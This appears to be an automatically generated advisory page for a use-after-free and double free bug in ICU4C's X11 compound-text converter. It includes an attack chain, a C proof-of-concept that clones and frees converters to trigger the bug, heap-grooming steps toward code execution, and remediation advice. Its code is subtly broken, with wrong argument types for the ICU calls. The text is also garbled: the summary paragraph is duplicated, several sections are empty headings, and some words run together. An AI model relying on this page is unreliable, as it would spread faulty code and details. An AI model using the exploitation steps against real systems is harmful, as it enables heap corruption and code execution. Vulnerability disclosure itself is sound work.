CVE-2026-137326 — Unicode ICU4C (79.1) — CWE-416
ICU4C through 79.1 contains a use-after-free and double free vulnerability in the x11-compound-text converter because cloning shares the extraInfo block without a safeClone handler. Attackers who control the charset name passed to ucnv_open() in applications calling ucnv_setSubstString() or cloning converters can corrupt the heap, causing crashes and potentially code execution.
ICU4C through 79.1 contains a use-after-free and double free vulnerability in the x11-compound-text converter because cloning shares the extraInfo block without a safeClone handler. Attackers who control the charset name passed to ucnv_open() in applications calling ucnv_setSubstString() or cloning converters can corrupt the heap, causing crashes and potentially code execution.
🎯 What is this vulnerability?
This vulnerability is a Use-After-Free (UAF) and Double-Free flaw (CWE-416) located within the ICU4C (International Components for Unicode) library, specifically affecting versions up to and including 79.1.
The core technical defect resides in the X11 Compound Text converter (x11-compound-text). When a converter instance is cloned, the internal extraInfo block is shared between the original and the cloned instance. Crucially, the x11-compound-text converter lacks a proper safeClone handler. In standard C++ memory management for ICU converters, safeClone is responsible for deep-copying resources or establishing proper reference counting to prevent premature deallocation.
Because this handler is missing, the following sequence occurs:
1. An application opens a converter using ucnv_open().
2. The application clones the converter (e.g., via ucnv_clone() or implicitly through certain API calls).
3. Both the original and the clone point to the same extraInfo memory block.
4. When one instance is destroyed or its state is modified in a way that triggers cleanup, the shared extraInfo block is freed.
5. Subsequent access to the extraInfo block by the other instance (or a second free operation) results in a Use-After-Free or Double-Free.
This memory corruption allows an attacker to manipulate heap metadata. By controlling the contents of the freed memory (via the charset name or substitution strings), an attacker can potentially hijack control flow (e.g., overwriting vtable pointers or function pointers) to achieve arbitrary code execution.
⚡ Attack Chain
1. Discovery & Reconnaissance
- Target Identification: The attacker identifies applications that link against ICU4C and utilize the X11 Compound Text converter. This is common in: * Desktop applications with internationalization (i18n) support running on Linux/X11. * Server-side applications that process user-supplied charset names or text data using ICU for encoding conversion. * Browsers or email clients that handle complex text rendering.
- Version Fingerprinting: The attacker checks the version of the
libiculibraries linked to the target process (e.g., vialddon the target system if local access is available, or by analyzing error messages/behavior that might leak version info). Versions $\le$ 79.1 are vulnerable. - Attack Vector Analysis: The CVSS vector
AV:L(Local) andUI:R(User Interaction Required) indicates that the attacker needs local access to the system or the ability to trick a user into interacting with a malicious file or application. ThePR:N(No Privileges Required) suggests that a standard user account is sufficient to trigger the bug, but the impact is high because the vulnerable code runs in a context that can be escalated or leads to RCE in the user's session.
2. Exploitation
The exploitation relies on heap grooming and precise memory corruption. The attacker must control thecharset name passed to ucnv_open() or the substitution string set via ucnv_setSubstString().Illustrative PoC Concept (C Code):
Note: This is a conceptual representation of the vulnerability trigger. Actual exploitation requires precise heap layout manipulation, which is highly dependent on the specific application, allocator (glibc, jemalloc, etc.), and ASLR/PIE settings.
#include <unicode/ucnv.h>
#include <stdio.h>
#include <stdlib.h>
// Illustrative function to trigger the UAF/Double-Free
void trigger_vulnerability() {
UConverter *conv1 = NULL;
UConverter *conv2 = NULL;
UErrorCode status = U_ZERO_ERROR;
// 1. Open the vulnerable X11 Compound Text converter
// The charset name "X11-Compound-Text" triggers the specific code path
conv1 = ucnv_open("X11-Compound-Text", &status);
if (U_FAILURE(status)) {
fprintf(stderr, "Failed to open converter: %s\n", u_errorName(status));
return;
}
// 2. Set a substitution string. This may influence the heap layout
// or the contents of the extraInfo block.
ucnv_setSubstString(conv1, "MALICIOUS_PAYLOAD", &status);
// 3. Clone the converter. This shares the extraInfo block.
conv2 = ucnv_clone(conv1, &status);
if (U_FAILURE(status)) {
fprintf(stderr, "Failed to clone converter: %s\n", u_errorName(status));
return;
}
// 4. Destroy the first converter. This frees the shared extraInfo block.
ucnv_close(conv1);
// 5. Use the cloned converter. This accesses the freed memory (UAF).
// If the heap has been groomed, this access can be redirected.
// For example, if the freed memory is reallocated to an attacker-controlled
// object, the converter's internal pointers may now point to attacker data.
char out[256];
int32_t outLen = sizeof(out);
const char *in = "test";
int32_t inLen = 4;
int32_t inOffset = 0;
int32_t outOffset = 0;
// This call may trigger the UAF if the extraInfo is accessed during conversion
ucnv_toUChars(conv2, out, outLen, in, inLen, inOffset, outOffset, &status);
// 6. Close the second converter. This may trigger a Double-Free if the
// extraInfo block is freed again.
ucnv_close(conv2);
}
int main() {
trigger_vulnerability();
return 0;
}Exploitation Mechanics:
1. Heap Grooming: The attacker allocates and frees specific objects to position the freed extraInfo block at a known location in the heap.
2. Controlled Re-allocation: The attacker allocates a new object (e.g., a string or struct) that occupies the same memory location as the freed extraInfo block.
3. Pointer Overwrite: The attacker crafts the contents of this new object to overwrite the function pointers or vtable pointers within the extraInfo structure.
4. Trigger: When the cloned converter (conv2) is used or destroyed, it dereferences the corrupted pointers, leading to execution of attacker-controlled code.
3. Post-Exploitation
🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Upgrade
safeClone handler has been implemented for the x11-compound-text converter. Check the official ICU4C release notes for the specific version that fixes this issue.2. Workarounds
ucnv_open().ucnv_open(). Reject any charset names that are not in a predefined whitelist of safe charsets.3. Detection
⚠️ Urgency
While the CVSS score is high, the attack complexity is also high, and the attack vector is local. This means that remote exploitation is unlikely without additional vulnerabilities or user interaction. However, for environments where local access is a concern (e.g., multi-user systems, desktop environments), patching should be prioritized. For server-side applications, the risk is lower unless the application accepts user-supplied charset names and runs with elevated privileges.
Recommendation:
1. Immediate: Upgrade ICU4C to the latest patched version.
2. Short-term: Implement input validation for charset names and disable the X11 Compound Text converter if not needed.
3. Long-term: Monitor for any public exploits or proof-of-concept code and adjust defenses accordingly.
[🤖 CVE Professor AI Security Engine]
FOFA Query